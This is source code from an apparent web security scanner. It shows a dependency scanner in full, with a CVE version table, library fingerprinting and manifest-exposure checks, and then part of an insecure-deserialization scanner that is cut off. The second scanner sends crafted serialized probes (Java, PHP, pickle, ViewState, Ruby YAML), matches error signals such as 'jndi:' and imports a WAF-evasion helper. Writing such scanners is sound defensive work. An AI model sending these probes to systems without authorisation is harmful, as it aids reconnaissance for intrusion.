|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
dependency_scanner.py — JavaScript / Backend Dependency Vulnerability Scanner
|
| 3 |
+
==============================================================================
|
| 4 |
+
Detects outdated and vulnerable client-side libraries by:
|
| 5 |
+
1. Parsing package.json / composer.json / requirements.txt if exposed
|
| 6 |
+
2. Fingerprinting loaded JS libraries from HTML source (jQuery, React, etc.)
|
| 7 |
+
3. Comparing detected versions against a built-in known-vulnerable version database
|
| 8 |
+
4. Detecting missing Subresource Integrity (SRI) on external scripts
|
| 9 |
+
"""
|
| 10 |
+
import re, json, urllib.request, urllib.error
|
| 11 |
+
from packaging import version as pkg_version
|
| 12 |
+
from scanners.base_scanner import BaseScanner
|
| 13 |
+
|
| 14 |
+
# ── Known-vulnerable version ranges ────────────────────────────────────────
|
| 15 |
+
# Format: library_name -> [(max_vulnerable_version, CVE, severity, cvss, description)]
|
| 16 |
+
VULN_DB = {
|
| 17 |
+
"jquery": [
|
| 18 |
+
("1.12.4", "CVE-2015-9251", "Medium", 6.1, "XSS via jQuery.htmlPrefilter"),
|
| 19 |
+
("3.4.9", "CVE-2019-11358", "Medium", 6.1, "Prototype pollution in jQuery.extend"),
|
| 20 |
+
("3.6.0", "CVE-2020-23064", "Medium", 6.9, "XSS via HTML parsing"),
|
| 21 |
+
],
|
| 22 |
+
"bootstrap": [
|
| 23 |
+
("3.4.1", "CVE-2019-8331", "Medium", 6.1, "XSS in tooltip/popover data-template"),
|
| 24 |
+
("4.3.0", "CVE-2018-14042", "Medium", 6.1, "XSS via data-target attribute"),
|
| 25 |
+
],
|
| 26 |
+
"angularjs": [
|
| 27 |
+
("1.8.3", "CVE-2022-25869", "Medium", 6.1, "XSS in $sanitize"),
|
| 28 |
+
("1.6.9", "CVE-2019-14863", "Medium", 6.1, "Angular template injection"),
|
| 29 |
+
],
|
| 30 |
+
"lodash": [
|
| 31 |
+
("4.17.20", "CVE-2021-23337", "High", 7.2, "Command injection via template"),
|
| 32 |
+
("4.17.15", "CVE-2020-28500", "Medium", 5.3, "ReDoS in toNumber"),
|
| 33 |
+
("4.17.10", "CVE-2019-10744", "Critical", 9.1, "Prototype pollution"),
|
| 34 |
+
],
|
| 35 |
+
"moment": [
|
| 36 |
+
("2.29.3", "CVE-2022-24785", "High", 7.5, "Path traversal in locale loading"),
|
| 37 |
+
("2.29.1", "CVE-2022-31129", "High", 7.5, "ReDoS in string-to-date parsing"),
|
| 38 |
+
],
|
| 39 |
+
"axios": [
|
| 40 |
+
("0.21.1", "CVE-2021-3749", "High", 7.5, "Server-side request forgery via SSRF bypass"),
|
| 41 |
+
],
|
| 42 |
+
"d3": [
|
| 43 |
+
("5.16.0", "CVE-2021-23490", "Medium", 5.3, "Prototype pollution"),
|
| 44 |
+
],
|
| 45 |
+
"react": [
|
| 46 |
+
("16.13.0", "CVE-2018-6341", "Medium", 6.1, "XSS via dangerouslySetInnerHTML"),
|
| 47 |
+
],
|
| 48 |
+
"vue": [
|
| 49 |
+
("2.6.14", "CVE-2022-23912", "Medium", 5.3, "ReDoS"),
|
| 50 |
+
],
|
| 51 |
+
}
|
| 52 |
+
|
| 53 |
+
# JS fingerprint patterns: (regex in src/content, library_name, version_capture_group)
|
| 54 |
+
JS_FINGERPRINTS = [
|
| 55 |
+
(re.compile(r'jquery[.-]?(\d+\.\d+\.\d+)', re.I), "jquery"),
|
| 56 |
+
(re.compile(r'bootstrap[.-]?(\d+\.\d+\.\d+)', re.I), "bootstrap"),
|
| 57 |
+
(re.compile(r'angular[.-]?(\d+\.\d+\.\d+)', re.I), "angularjs"),
|
| 58 |
+
(re.compile(r'lodash[.-]?(\d+\.\d+\.\d+)', re.I), "lodash"),
|
| 59 |
+
(re.compile(r'moment[.-]?(\d+\.\d+\.\d+)', re.I), "moment"),
|
| 60 |
+
(re.compile(r'axios[.-]?(\d+\.\d+\.\d+)', re.I), "axios"),
|
| 61 |
+
(re.compile(r'react[.-]?(\d+\.\d+\.\d+)', re.I), "react"),
|
| 62 |
+
(re.compile(r'vue[.-]?(\d+\.\d+\.\d+)', re.I), "vue"),
|
| 63 |
+
(re.compile(r'd3[.-]?v?(\d+\.\d+\.\d+)', re.I), "d3"),
|
| 64 |
+
]
|
| 65 |
+
|
| 66 |
+
# Inline version variables: jQuery.fn.jquery, $.fn.jquery, etc.
|
| 67 |
+
INLINE_VER_RE = {
|
| 68 |
+
"jquery": re.compile(r'jQuery\.fn\.jquery\s*=\s*["\'](\d+\.\d+\.\d+)["\']'),
|
| 69 |
+
"react": re.compile(r'ReactDOM\.version\s*=\s*["\'](\d+\.\d+\.\d+)["\']'),
|
| 70 |
+
"vue": re.compile(r'Vue\.version\s*=\s*["\'](\d+\.\d+\.\d+)["\']'),
|
| 71 |
+
}
|
| 72 |
+
|
| 73 |
+
EXPOSED_MANIFESTS = [
|
| 74 |
+
("/package.json", "json", "node"),
|
| 75 |
+
("/composer.json", "json", "php"),
|
| 76 |
+
("/requirements.txt", "text", "python"),
|
| 77 |
+
("/Gemfile.lock", "text", "ruby"),
|
| 78 |
+
("/go.sum", "text", "go"),
|
| 79 |
+
]
|
| 80 |
+
|
| 81 |
+
|
| 82 |
+
class DependencyScanner(BaseScanner):
|
| 83 |
+
SCANNER_NAME = "Dependency Vulnerability Scanner"
|
| 84 |
+
_SCANNER_KEY = "dependency"
|
| 85 |
+
|
| 86 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 87 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 88 |
+
self._detected: dict = {} # library -> version
|
| 89 |
+
self._reported: set = set()
|
| 90 |
+
|
| 91 |
+
# ------------------------------------------------------------------
|
| 92 |
+
def run(self) -> list:
|
| 93 |
+
self.log("INFO", f"[Deps] Starting dependency vulnerability scan on {self.target}...")
|
| 94 |
+
try:
|
| 95 |
+
html, script_urls = self._fetch_page()
|
| 96 |
+
self._fingerprint_from_html(html, script_urls)
|
| 97 |
+
self._check_manifest_exposure()
|
| 98 |
+
self._check_sri(html)
|
| 99 |
+
self._audit_detected()
|
| 100 |
+
except Exception as e:
|
| 101 |
+
self.log("WARNING", f"[Deps] Error: {e}")
|
| 102 |
+
|
| 103 |
+
self.log(
|
| 104 |
+
"SUCCESS" if not self.vulns else "WARNING",
|
| 105 |
+
f"[Deps] Complete. Detected {len(self._detected)} lib(s). "
|
| 106 |
+
f"{len(self.vulns)} issue(s) found.",
|
| 107 |
+
)
|
| 108 |
+
return self.vulns
|
| 109 |
+
|
| 110 |
+
# ------------------------------------------------------------------
|
| 111 |
+
def _fetch_page(self) -> tuple:
|
| 112 |
+
req = urllib.request.Request(self.target,
|
| 113 |
+
headers={"User-Agent": "LarShield/2.0 Dep-Scanner"})
|
| 114 |
+
with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
|
| 115 |
+
html = r.read().decode("utf-8", errors="ignore")
|
| 116 |
+
scripts = re.findall(r'<script[^>]+src=["\']([^"\']+)["\']', html, re.I)
|
| 117 |
+
return html, scripts
|
| 118 |
+
|
| 119 |
+
# ------------------------------------------------------------------
|
| 120 |
+
def _fingerprint_from_html(self, html: str, script_urls: list):
|
| 121 |
+
# Check script src URLs
|
| 122 |
+
all_text = html + "\n" + "\n".join(script_urls)
|
| 123 |
+
for pat, lib in JS_FINGERPRINTS:
|
| 124 |
+
m = pat.search(all_text)
|
| 125 |
+
if m:
|
| 126 |
+
ver = m.group(1)
|
| 127 |
+
if lib not in self._detected:
|
| 128 |
+
self._detected[lib] = ver
|
| 129 |
+
self.log("INFO", f"[Deps] Detected: {lib} v{ver}")
|
| 130 |
+
|
| 131 |
+
# Check inline version variables in JS content
|
| 132 |
+
for script_url in script_urls[:8]:
|
| 133 |
+
try:
|
| 134 |
+
full_url = self._resolve_url(script_url)
|
| 135 |
+
req = urllib.request.Request(full_url,
|
| 136 |
+
headers={"User-Agent": "LarShield/2.0 Dep-Scanner"})
|
| 137 |
+
with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r:
|
| 138 |
+
js = r.read().decode("utf-8", errors="ignore")
|
| 139 |
+
for lib, ver_re in INLINE_VER_RE.items():
|
| 140 |
+
vm = ver_re.search(js)
|
| 141 |
+
if vm and lib not in self._detected:
|
| 142 |
+
self._detected[lib] = vm.group(1)
|
| 143 |
+
self.log("INFO", f"[Deps] Detected (inline): {lib} v{vm.group(1)}")
|
| 144 |
+
except Exception as e:
|
| 145 |
+
self.log("ERROR", f"[Deps] Inline detection error: {e}")
|
| 146 |
+
continue
|
| 147 |
+
|
| 148 |
+
# ------------------------------------------------------------------
|
| 149 |
+
def _check_manifest_exposure(self):
|
| 150 |
+
base = self.target.rstrip("/")
|
| 151 |
+
for path, fmt, ecosystem in EXPOSED_MANIFESTS:
|
| 152 |
+
url = f"{base}{path}"
|
| 153 |
+
body, status = self._probe(url)
|
| 154 |
+
if status == 200 and body:
|
| 155 |
+
self.add_vuln(
|
| 156 |
+
title=f"Exposed Dependency Manifest: {path}",
|
| 157 |
+
severity="Medium",
|
| 158 |
+
category="Information Disclosure",
|
| 159 |
+
cvss_score=5.3,
|
| 160 |
+
description=f"The {ecosystem} dependency manifest `{url}` is publicly "
|
| 161 |
+
"accessible. This reveals the exact library versions in use, "
|
| 162 |
+
"allowing targeted exploitation of known CVEs.",
|
| 163 |
+
remediation=f"Block access to `{path}` in your web server config:\n"
|
| 164 |
+
"Nginx: location = /package.json { deny all; return 404; }",
|
| 165 |
+
)
|
| 166 |
+
# Also parse versions from manifest
|
| 167 |
+
if fmt == "json":
|
| 168 |
+
try:
|
| 169 |
+
data = json.loads(body)
|
| 170 |
+
deps = {**data.get("dependencies",{}), **data.get("devDependencies",{})}
|
| 171 |
+
for lib, ver_str in deps.items():
|
| 172 |
+
clean_ver = ver_str.lstrip("^~>=<")
|
| 173 |
+
lib_key = lib.lower().split("/")[-1]
|
| 174 |
+
if lib_key in VULN_DB and lib_key not in self._detected:
|
| 175 |
+
self._detected[lib_key] = clean_ver
|
| 176 |
+
except Exception as e:
|
| 177 |
+
self.log("ERROR", f"[Deps] Manifest JSON parse error: {e}")
|
| 178 |
+
|
| 179 |
+
# ------------------------------------------------------------------
|
| 180 |
+
def _check_sri(self, html: str):
|
| 181 |
+
ext_scripts = re.findall(
|
| 182 |
+
r'<script[^>]+src=["\']https?://[^"\']+["\'][^>]*>', html, re.I)
|
| 183 |
+
missing_sri = [s for s in ext_scripts if "integrity=" not in s.lower()]
|
| 184 |
+
if missing_sri:
|
| 185 |
+
self.add_vuln(
|
| 186 |
+
title=f"Subresource Integrity (SRI) Missing on {len(missing_sri)} External Script(s)",
|
| 187 |
+
severity="Medium",
|
| 188 |
+
category="Supply Chain Security",
|
| 189 |
+
cvss_score=5.9,
|
| 190 |
+
description=f"Found {len(missing_sri)} external `<script>` tag(s) without "
|
| 191 |
+
"`integrity=` attributes. Without SRI, if the CDN is compromised or the "
|
| 192 |
+
"file is modified, malicious code executes in users' browsers silently.\n\n"
|
| 193 |
+
f"Example: `{missing_sri[0][:200]}`",
|
| 194 |
+
remediation="Add integrity and crossorigin attributes to all external scripts:\n"
|
| 195 |
+
'<script src="https://cdn.example.com/lib.js" '
|
| 196 |
+
'integrity="sha384-..." crossorigin="anonymous"></script>\n'
|
| 197 |
+
"Generate SRI hashes at: https://www.srihash.org/",
|
| 198 |
+
)
|
| 199 |
+
else:
|
| 200 |
+
self.log("SUCCESS", "[Deps] All external scripts have SRI attributes")
|
| 201 |
+
|
| 202 |
+
# ------------------------------------------------------------------
|
| 203 |
+
def _audit_detected(self):
|
| 204 |
+
for lib, detected_ver in self._detected.items():
|
| 205 |
+
if lib not in VULN_DB:
|
| 206 |
+
continue
|
| 207 |
+
try:
|
| 208 |
+
dv = pkg_version.parse(detected_ver)
|
| 209 |
+
except Exception as e:
|
| 210 |
+
self.log("ERROR", f"[Deps] Version parse error for {lib}: {e}")
|
| 211 |
+
continue
|
| 212 |
+
|
| 213 |
+
for max_vuln_ver, cve, severity, cvss, desc in VULN_DB[lib]:
|
| 214 |
+
try:
|
| 215 |
+
mv = pkg_version.parse(max_vuln_ver)
|
| 216 |
+
except Exception as e:
|
| 217 |
+
self.log("ERROR", f"[Deps] Version parse error for {max_vuln_ver}: {e}")
|
| 218 |
+
continue
|
| 219 |
+
key = f"{lib}:{cve}"
|
| 220 |
+
if dv <= mv and key not in self._reported:
|
| 221 |
+
self._reported.add(key)
|
| 222 |
+
self.log("WARNING",
|
| 223 |
+
f"[Deps] VULNERABLE: {lib} v{detected_ver} <= v{max_vuln_ver} ({cve})")
|
| 224 |
+
self.add_vuln(
|
| 225 |
+
title=f"Vulnerable Library: {lib} v{detected_ver} ({cve})",
|
| 226 |
+
severity=severity,
|
| 227 |
+
category="Vulnerable Dependencies",
|
| 228 |
+
cvss_score=cvss,
|
| 229 |
+
description=f"The detected version of **{lib}** (`v{detected_ver}`) "
|
| 230 |
+
f"is at or below the vulnerable version `v{max_vuln_ver}`.\n\n"
|
| 231 |
+
f"**CVE:** {cve}\n**Impact:** {desc}\n\n"
|
| 232 |
+
"An attacker can exploit this known vulnerability via client-side attacks.",
|
| 233 |
+
remediation=f"Update {lib} to the latest stable version.\n"
|
| 234 |
+
f"See: https://nvd.nist.gov/vuln/detail/{cve}",
|
| 235 |
+
)
|
| 236 |
+
|
| 237 |
+
# ------------------------------------------------------------------
|
| 238 |
+
def _probe(self, url: str) -> tuple:
|
| 239 |
+
try:
|
| 240 |
+
req = urllib.request.Request(url,
|
| 241 |
+
headers={"User-Agent": "LarShield/2.0 Dep-Scanner"})
|
| 242 |
+
with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r:
|
| 243 |
+
return r.read().decode("utf-8", errors="ignore"), r.status
|
| 244 |
+
except urllib.error.HTTPError as e:
|
| 245 |
+
return "", e.code
|
| 246 |
+
except Exception as e:
|
| 247 |
+
self.log("ERROR", f"[Deps] Probe error: {e}")
|
| 248 |
+
return None, 0
|
| 249 |
+
|
| 250 |
+
def _resolve_url(self, src: str) -> str:
|
| 251 |
+
if src.startswith("//"):
|
| 252 |
+
return f"https:{src}"
|
| 253 |
+
if src.startswith("/"):
|
| 254 |
+
return f"{self.target.rstrip('/')}{src}"
|
| 255 |
+
if not src.startswith("http"):
|
| 256 |
+
return f"{self.target.rstrip('/')}/{src}"
|
| 257 |
+
return src
|
backend/scanners/deserialization_scanner.py
ADDED
|
@@ -0,0 +1,373 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
deserialization_scanner.py — Insecure Deserialization Scanner
|
| 3 |
+
==============================================================
|
| 4 |
+
Expert-grade rewrite (GAP-006 fix):
|
| 5 |
+
1. Scans Set-Cookie headers (original)
|
| 6 |
+
2. Scans POST/PUT request bodies for serialized content
|
| 7 |
+
3. Scans custom headers (X-Java-Serialized-Object, X-Serialized-Object)
|
| 8 |
+
4. Extended signatures: .NET ViewState, Ruby Marshal, Node ND_FUNC
|
| 9 |
+
5. Active probe: sends crafted Java serialized header and checks error signals
|
| 10 |
+
6. Fixes false-positive-prone PHP "O:" pattern (now length-validates)
|
| 11 |
+
7. Java, PHP, Python, .NET, Ruby YAML markers
|
| 12 |
+
"""
|
| 13 |
+
import base64, urllib.parse, json, re
|
| 14 |
+
from scanners.base_scanner import BaseScanner
|
| 15 |
+
from utils.anomaly import TimingAnomalyDetector, SizeAnomalyDetector
|
| 16 |
+
from utils.evasion import waf_evade
|
| 17 |
+
|
| 18 |
+
# ── Serialization signatures ──────────────────────────────────────────────
|
| 19 |
+
SIGNATURES = {
|
| 20 |
+
"Java (ysoserial / ACED)": [
|
| 21 |
+
(lambda v: isinstance(v, bytes) and v.startswith(b"\xac\xed\x00\x05"), "raw_bytes"),
|
| 22 |
+
(lambda v: isinstance(v, str) and v.startswith("rO0AB"), "base64"),
|
| 23 |
+
(lambda v: isinstance(v, str) and "java.io.Serializable" in v, "raw"),
|
| 24 |
+
(lambda v: isinstance(v, str) and "java.beans" in v and "ObjectInputStream" in v, "raw"),
|
| 25 |
+
],
|
| 26 |
+
"PHP Object Serialize": [
|
| 27 |
+
(lambda v: isinstance(v, str) and bool(re.match(r'O:\d+:"', v)), "raw"),
|
| 28 |
+
(lambda v: isinstance(v, str) and bool(re.match(r'a:\d+:\{', v)), "raw"),
|
| 29 |
+
(lambda v: isinstance(v, str) and bool(re.match(r'C:\d+:"', v)), "raw"),
|
| 30 |
+
(lambda v: isinstance(v, str) and bool(re.match(r'R:\d+;', v)), "raw"),
|
| 31 |
+
],
|
| 32 |
+
"Python Pickle": [
|
| 33 |
+
(lambda v: isinstance(v, str) and "c__main__" in v, "raw"),
|
| 34 |
+
(lambda v: isinstance(v, str) and v.startswith("gASV"), "base64"),
|
| 35 |
+
(lambda v: isinstance(v, str) and v.startswith("gAN9cQAutSw="), "base64"),
|
| 36 |
+
(lambda v: isinstance(v, bytes) and v.startswith(b"\x80\x04\x95"), "raw_bytes"),
|
| 37 |
+
(lambda v: isinstance(v, bytes) and v.startswith(b"\x80\x05\x95"), "raw_bytes"),
|
| 38 |
+
(lambda v: isinstance(v, str) and "__reduce__" in v, "raw"),
|
| 39 |
+
],
|
| 40 |
+
"Node.js (serialize-javascript)": [
|
| 41 |
+
(lambda v: isinstance(v, str) and "_$$ND_FUNC$$_" in v, "raw"),
|
| 42 |
+
(lambda v: isinstance(v, str) and "$$ND_OBJ$$_" in v, "raw"),
|
| 43 |
+
],
|
| 44 |
+
".NET ViewState": [
|
| 45 |
+
(lambda v: isinstance(v, str) and v.startswith("/wEy"), "base64"),
|
| 46 |
+
(lambda v: isinstance(v, str) and "__VIEWSTATE" in v and len(v) > 40, "form_field"),
|
| 47 |
+
(lambda v: isinstance(v, str) and v.startswith("/wE"), "base64"),
|
| 48 |
+
(lambda v: isinstance(v, str) and "__EVENTVALIDATION" in v and len(v) > 20, "form_field"),
|
| 49 |
+
],
|
| 50 |
+
"Ruby Marshal": [
|
| 51 |
+
(lambda v: isinstance(v, bytes) and v.startswith(b"\x04\x08"), "raw_bytes"),
|
| 52 |
+
(lambda v: isinstance(v, str) and v.startswith("BAh"), "base64"),
|
| 53 |
+
(lambda v: isinstance(v, str) and "ruby/object:" in v, "raw"),
|
| 54 |
+
],
|
| 55 |
+
"Ruby YAML": [
|
| 56 |
+
(lambda v: isinstance(v, str) and "!ruby/object:" in v, "raw"),
|
| 57 |
+
(lambda v: isinstance(v, str) and "!ruby/class:" in v, "raw"),
|
| 58 |
+
],
|
| 59 |
+
}
|
| 60 |
+
|
| 61 |
+
# Active probe: a truncated Java serialized stream header (safe — won't RCE)
|
| 62 |
+
JAVA_PROBE_HEADER = base64.b64encode(b"\xac\xed\x00\x05t\x00\x1dWSS-DESER-SAFE-PROBE").decode()
|
| 63 |
+
|
| 64 |
+
JAVA_PAYLOADS = [
|
| 65 |
+
(b"\xac\xed\x00\x05t\x00\x1dWSS-DESER-SAFE-PROBE", "application/x-java-serialized-object", "Java ACED magic bytes"),
|
| 66 |
+
(b"\xac\xed\x00\x05sr\x00\x0cwss.Calc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", "application/x-java-serialized-object", "Java gadget probe"),
|
| 67 |
+
]
|
| 68 |
+
|
| 69 |
+
PHP_PAYLOADS = [
|
| 70 |
+
(b'O:10:"WssProbe":1:{s:4:"test";s:2:"ok";}', "application/x-www-form-urlencoded", "PHP serialize mark"),
|
| 71 |
+
(b'a:2:{s:4:"test";s:2:"ok";s:4:"waka";s:3:"waka";}', "application/x-www-form-urlencoded", "PHP array serialized"),
|
| 72 |
+
(b'C:10:"WssProbe":8:{testdata}', "application/x-www-form-urlencoded", "PHP custom serialized"),
|
| 73 |
+
]
|
| 74 |
+
|
| 75 |
+
PYTHON_PICKLE_PAYLOADS = [
|
| 76 |
+
(b"\x80\x05\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x06WSS-OK\x94.", "application/octet-stream", "Python pickle (protocol 5)"),
|
| 77 |
+
(b"\x80\x04\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x06WSS-OK\x94.", "application/octet-stream", "Python pickle (protocol 4)"),
|
| 78 |
+
(b"gASVHQAAAAAAAABdlCh9lCiMAXABlIwFdGVzdJRSlJRSlIWUUpQa", "application/python-pickle", "Python pickle base64"),
|
| 79 |
+
]
|
| 80 |
+
|
| 81 |
+
DOTNET_VIEWSTATE_PAYLOADS = [
|
| 82 |
+
(b"/wEyWSS==", "application/x-www-form-urlencoded", ".NET ViewState probe"),
|
| 83 |
+
(b"/wE", "application/x-www-form-urlencoded", ".NET ViewState short"),
|
| 84 |
+
]
|
| 85 |
+
|
| 86 |
+
RUBY_YAML_PAYLOADS = [
|
| 87 |
+
(b"--- !ruby/object:WssProbe\nname: test\n", "application/x-yaml", "Ruby YAML object"),
|
| 88 |
+
(b"--- !ruby/class:WssProbe\n", "application/x-yaml", "Ruby YAML class"),
|
| 89 |
+
]
|
| 90 |
+
|
| 91 |
+
DESER_RESPONSE_SIGNALS = [
|
| 92 |
+
"ClassNotFoundException", "ObjectInputStream", "deserializ",
|
| 93 |
+
"java.io", "InvalidClassException", "readObject",
|
| 94 |
+
"unserialize", "Serializable", "PersistenceException",
|
| 95 |
+
"com.sun.jndi", "log4j", "jndi:", "InvocationTargetException",
|
| 96 |
+
]
|
| 97 |
+
|
| 98 |
+
|
| 99 |
+
class DeserializationScanner(BaseScanner):
|
| 100 |
+
SCANNER_NAME = "Insecure Deserialization Scanner"
|
| 101 |
+
_SCANNER_KEY = "deserialization"
|
| 102 |
+
|
| 103 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 104 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 105 |
+
|
| 106 |
+
def run(self) -> list:
|
| 107 |
+
self.log("INFO", f"[Deserialization] Scanning {self.target}...")
|
| 108 |
+
|
| 109 |
+
self._timing_detector = TimingAnomalyDetector()
|
| 110 |
+
|
| 111 |
+
body, status, headers = self._make_request(self.target, return_response_obj=True)
|
| 112 |
+
if headers:
|
| 113 |
+
self._check_response_headers(headers)
|
| 114 |
+
|
| 115 |
+
self._check_url_params()
|
| 116 |
+
|
| 117 |
+
self._test_active_post()
|
| 118 |
+
|
| 119 |
+
self._test_header_injection()
|
| 120 |
+
|
| 121 |
+
self._test_yaml_pickle_probes()
|
| 122 |
+
|
| 123 |
+
self._test_expanded_formats()
|
| 124 |
+
|
| 125 |
+
self._test_timing_deser()
|
| 126 |
+
|
| 127 |
+
if not self.vulns:
|
| 128 |
+
self.log("SUCCESS", "[Deserialization] No insecure deserialization detected.")
|
| 129 |
+
return self.vulns
|
| 130 |
+
|
| 131 |
+
# ── 1. Response headers / cookies ────────────────────────────────────
|
| 132 |
+
def _check_response_headers(self, headers):
|
| 133 |
+
cookies = []
|
| 134 |
+
try:
|
| 135 |
+
all_cookies = headers.get_all("Set-Cookie") or []
|
| 136 |
+
cookies.extend(all_cookies)
|
| 137 |
+
except Exception as e:
|
| 138 |
+
self.log("ERROR", f"[Deserialization] Failed to parse cookies: {e}")
|
| 139 |
+
|
| 140 |
+
for cookie in cookies:
|
| 141 |
+
parts = cookie.split(";")
|
| 142 |
+
if not parts: continue
|
| 143 |
+
c_val = parts[0].split("=", 1)
|
| 144 |
+
if len(c_val) == 2:
|
| 145 |
+
name, val = c_val[0].strip(), urllib.parse.unquote(c_val[1].strip())
|
| 146 |
+
self._check_value("Cookie", name, val)
|
| 147 |
+
|
| 148 |
+
# ── 2. URL params ─────────────────────────────────────────────────────
|
| 149 |
+
def _check_url_params(self):
|
| 150 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 151 |
+
for k, v in urllib.parse.parse_qsl(parsed.query):
|
| 152 |
+
self._check_value("URL param", k, urllib.parse.unquote(v))
|
| 153 |
+
|
| 154 |
+
# ── 3. Active POST body probing ───────────────────────────────────────
|
| 155 |
+
def _test_active_post(self):
|
| 156 |
+
probes = JAVA_PAYLOADS + PHP_PAYLOADS + PYTHON_PICKLE_PAYLOADS + DOTNET_VIEWSTATE_PAYLOADS + RUBY_YAML_PAYLOADS
|
| 157 |
+
|
| 158 |
+
for payload_bytes, content_type, label in probes:
|
| 159 |
+
body, status = self._make_request(
|
| 160 |
+
self.target, "POST", payload_bytes,
|
| 161 |
+
{"Content-Type": content_type}
|
| 162 |
+
)
|
| 163 |
+
if body and any(sig.lower() in body.lower() for sig in DESER_RESPONSE_SIGNALS):
|
| 164 |
+
self.log("CRITICAL", f"[Deserialization] Active probe triggered deser signal: {label}")
|
| 165 |
+
self.add_vuln(
|
| 166 |
+
title=f"Active Deserialization Response — {label}",
|
